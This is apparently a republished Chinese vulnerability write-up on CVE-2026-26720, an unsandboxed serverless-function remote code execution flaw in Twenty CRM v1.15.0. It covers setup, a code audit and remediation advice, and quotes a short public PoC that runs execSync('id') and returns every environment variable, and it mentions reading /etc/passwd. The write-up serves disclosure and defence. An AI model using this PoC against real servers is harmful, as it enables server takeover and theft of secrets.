文章总结: 文档分析TwentyCRMv1.15.0远程代码执行漏洞CVE-2026-26720。漏洞源于local.driver.ts缺乏沙箱隔离,攻击者可通过GraphQL上传并执行恶意Node.js代码,窃取环境变量并控制服务器。内容包括环境搭建、流量特征、代码审计及PoC原理,指出设计缺陷在于将用户脚本视为信任代码。建议升级至v1.15.1或启用进程隔离修复。 综合评分: 95 文章分类: 漏洞分析,代码审计,渗透测试,漏洞POC
Twenty CRM 远程代码执行 | CVE-2026-26720 复现&研究
原创
404号浪漫 404号浪漫
404号浪漫
2026年3月6日 21:34 北京
0x0 背景介绍
Twenty CRM是一款现代开源客户关系管理(CRM)系统。在版本v1.15.0 及之前的版本中,其本地存储驱动模块 local.driver.ts 在处理文件路径或相关存储操作时存在安全缺陷。 远程攻击者可以通过构造恶意的输入参数,利用该模块的逻辑漏洞在服务器上执行任意系统命令,从而实现远程代码执行(RCE)并完全控制服务器。
漏洞详情
| 漏洞类型 | 影响版本 | 利用复杂度 | CVE编号 | | — | — | — | — | | 代码执行 | ≤v1.15.0 | 低 | CVE-2026-26720 |
攻击效果:
- 执行命令、控制服务器。
0x1 环境搭建(Ubuntu24)
1.1-Ubuntu24+Docker搭建配置
# 1、创建专用目录mkdir twenty-crm && cd twenty-crm# 2、下载 .env 示例文件-可以手动修改(修改示例文件,指定版本、设置PG密码、设置url地址、设置APP_SECRET)curl -o .env https://raw.githubusercontent.com/twentyhq/twenty/refs/heads/main/packages/twenty-docker/.env.example# 2、或者直接使用这个,一样的,SERVER_URL需要自己更新下#生成 APP_SECRET命令:openssl rand -base64 32TAG=v1.15.0PG_DATABASE_USER=postgresPG_DATABASE_PASSWORD=MyStrongDBPwd123PG_DATABASE_HOST=dbPG_DATABASE_PORT=5432REDIS_URL=redis://redis:6379SERVER_URL=http://192.168.119.131:3000APP_SECRET=C464OBXQKePsF8hZspTBHhKNqkrvjqdwfZf3T5MhSjo=STORAGE_TYPE=local# STORAGE_S3_REGION=eu-west3# STORAGE_S3_NAME=my-bucket# STORAGE_S3_ENDPOINT=#3、下载 Docker Compose 文件,curl -o docker-compose.yml https://raw.githubusercontent.com/twentyhq/twenty/refs/heads/main/packages/twenty-docker/docker-compose.yml#4. 启动服务docker compose up -d#5、查看应用日志docker compose logs -f server
- 后续访问web服务进行注册账号
0x2 漏洞复现
2.1-手动复现
- ### 操作步骤参考:
https://github.com/Kai-One001/cve-/blob/main/CVE-2026-26720-Twenty-RCE.md
- 命令执行和shell交付式
2.2-复现流量特征 (PCAP)
- 命令执行,这次是只能看到响应,具体命令应该看不到(可能是因为Twenty 的架构是分离式)
- 交互式shell,其它命令
0x3 漏洞原理分析
根据公开信息,在源码中查询 local.driver.ts 文件,共发现三个关键位置,分别对应执行流水线的不同阶段:
| 文件路径 | 职责描述 |
| — | — |
| \twenty-1.15.0\packages\twenty-server\src\engine\core-modules\serverless\drivers\local.driver.ts | 核心执行者 :负责运行用户代码(漏洞核心所在) |
| \twenty-1.15.0\packages\twenty-server\src\engine\core-modules\file-storage\drivers\local.driver.ts | 存储层 :负责把用户写的代码从数据库/存储下载到本地临时目录,供执行者使用 |
| \twenty-1.15.0\packages\twenty-server\src\engine\core-modules\code-interpreter\drivers\local.driver.ts | 编译层 :负责将 TypeScript 编译/转译为 JavaScript |
3.1-动态引导脚本生成(writeBootstrapRunner)
该函数负责生成一个临时的Runner脚本 (__runner.cjs),用于加载和执行用户代码。
// 文件: packages/twenty-server/src/engine/core-modules/serverless/drivers/local.driver.tsconst code = ` const { pathToFileURL } = require('node:url'); (async () => { try { // 1. 动态导入用户编译后的代码 (没有完整性校验) const builtUrl = pathToFileURL(${JSON.stringify(builtFileAbsPath)}); const mod = await import(builtUrl.href);
// 2. 直接调用用户导出的函数 (例如:main/handle) if (typeof mod.${handlerName} !== 'function') throw new Error('...');
// 3. 监听 IPC 消息或直接读取参数执行 process.on('message', async (msg) => { // 直接执行用户逻辑,无任何 API 拦截或上下文限制 const out = await mod.${handlerName}(msg.payload); process.send({ ok: true, result: out }); }); } catch (err) { /* 错误处理 */ } })();`;await fs.writeFile(runnerPath, code, 'utf8');
- 在标准的Node.js 环境中,import进来的用户代码拥有完整的Node.js全局对象和内置模块访问权。
- 没有任何沙箱机制拦截用户对 child_process、fs 等敏感模块的调用。
3.2、不安全进程生成 (runChildWithEnv)
该函数负责启动子进程来运行上述生成的 Runner 脚本。
// 文件: packages/twenty-server/src/engine/core-modules/serverless/drivers/local.driver.ts const child = spawn(process.execPath, [runnerPath], { //危险点:子进程获得了父进程的所有 Secrets (DB_URL, JWT_SECRET, etc.) env: { ...process.env, ...env }, // 危险点:允许子进程进行完整的输入输出交互,无能力削减 (Capability Dropping) stdio: ['pipe', 'pipe', 'pipe', 'ipc'], });
- 无沙箱隔离:仅仅是普通的 fork/spawn,调用没有使用 –no-warnings 以外的任何安全启动参数,也未使用Docker 容器隔离。
- 权限等价:如果主进程以 root 或高权限用户运行,子进程同样拥有该权限。
- Secrets 泄露:..process.env 使得攻击者只需一行 console.log(process.env) 即可窃取所有配置。
3.3、 攻击链路验证
3.3.1 接口定位
查询 ServerlessFunctionService 调用情况,锁定以下 Resolver文件:
dir /s /b *serverless*.resolver.ts# 结果:\twenty-1.15.0\packages\twenty-server\src\engine\metadata-modules\serverless-function\serverless-function.resolver.ts\twenty-1.15.0\packages\twenty-server\src\engine\metadata-modules\serverless-function-layer\serverless-function-layer.resolver.ts
3.3.2 关键代码审计
- 恶意代码植入入口 (Code Injection Entry)
// 1、恶意代码植入入口 (Code Injection Entry) @Mutation(() => ServerlessFunctionDTO) @UseGuards(SettingsPermissionGuard(PermissionFlagType.WORKFLOWS)) async createOneServerlessFunction( // 创建函数接口 @Args('input') input: CreateServerlessFunctionInput, // 攻击者控制输入 @AuthWorkspace() { id: workspaceId }: WorkspaceEntity, ) { try { return await this.serverlessFunctionService.createOneServerlessFunction( input, // 直接透传用户输入(包含 sourceCode) workspaceId, ); } catch (error) { serverlessFunctionGraphQLApiExceptionHandler(error); } }
- 远程代码执行触发器 (RCE Trigger)
// 2、远程代码执行触发器 (RCE Trigger) @Mutation(() => ServerlessFunctionExecutionResultDTO) @UseGuards(SettingsPermissionGuard(PermissionFlagType.WORKFLOWS)) async executeOneServerlessFunction( // 执行函数接口 @Args('input') input: ExecuteServerlessFunctionInput, @AuthWorkspace() { id: workspaceId }: WorkspaceEntity, ) { try { const { id, payload, version } = input;
return await this.serverlessFunctionService.executeOneServerlessFunction({ id, workspaceId, payload, version, }); // 调用 Service -> Driver -> spawn (无沙箱执行) } catch (error) { serverlessFunctionGraphQLApiExceptionHandler(error); } }
3.3.3 攻击流程总结
- 恶意代码植入入口:createOneServerlessFunction 允许认证用户通过 GraphQL 传入 CreateServerlessFunctionInput。
- 该 Input中必然包含源代码字段(如sosourceCode),攻击者可在此写入任意 Node.js 代码(如 child_process.exec)。
- 远程代码执行触发器:executeOneServerlessFunction 接收函数ID和payload,直接调用 Service层的 execute方法。结合前文分析的 LocalDriver,这将导致之前上传的恶意代码在宿主机上以子进程形式运行,且拥有完整的环境变量权限。
- 数据回传:子进程执行恶意代码,通过IPC将 execSync 的结果和 process.env 内容返回给主进程,最终通过GraphQL响应返回给攻击者。
完整调用链:
Resolver -> Service -> LocalDriver.execute() -> download() -> build() -> writeBootstrapRunner() -> spawn() [漏洞爆发点]
3.4、PoC 的对应关系与原理解析
PS: 多嘴提一下 针对公开 PoC 的原理性解释:
公开 PoC 示例:
import { execSync } from 'child_process';export const main = async (*params*: any): Promise => { const output = execSync('id').toString(); const secrets = JSON.stringify(process.env); return { data: output, secrets: secrets };};
在上述执行模型下,为什么能成功?
1、为什么能 execSync(‘id’)?
1.在__runner.cjs里import的bundle,bundle里import{execSync}from'child_process'会变成普通 Node 模块导入;2.没有任何地方禁止使用child_process;3.子进程本身就是一个完整的Node进程,有权限执行系统命令,execSync('id')就是在容器/宿主机里直接跑 id。
2、为什么能拿到所有环境变量?
1.子进程是这样启动的:env: { ...process.env, ...env };2.因此在你的函数里访问process.env,看到的就是服务启动时加载的全部环境变量,包括DB URL、API key等。
3、为什么可以读 /etc/passwd 之类的文件?
1.你完全可以import {readFileSync} from 'fs',甚至直接execSync('cat /etc/passwd');2.由于进程权限与 Twenty 服务器相同,只要容器/宿主文件系统允许,读写都是可以的。
结论:
这一切都不是简单的“代码 bug”,而是“安全边界设计为 0”本质上就是把“用户可编辑的脚本”当成了“完全信任的后端代码”来运行,不过呢Twenty已确认此问题仅影响本地/自托管安装,他们的云端(多租户)产品在AWS Lambda 上运行无服务器函数,并具有适当的隔离措施。此漏洞是由于本地驱动程序仅为方便起见而提供的快捷方式,而非安全加固的执行环境所致
0x4 修复建议
1、升级最新版本:将组件升级至1.15.1及以上版本
https://github.com/twentyhq/twenty
2、临时防护措施:
-
限制访问:临时禁用local.driver.ts模块外部访问
-
防火墙拦截:配置规则,拦截对模块异常的请求,关注敏感命令,尤其是包含 eval、exec、shell 等关键词的请求
-
操作隔离:启用进程隔离或者vm轻量级隔离、经过沙箱后在执行运行
免责声明:本文仅用于安全研究目的,未经授权不得用于非法渗透测试活动。
/**哇~这个时候居然还有瑞雪**/
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:404号浪漫 404号浪漫 404号浪漫《Twenty CRM 远程代码执行 | CVE-2026-26720 复现&研究》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论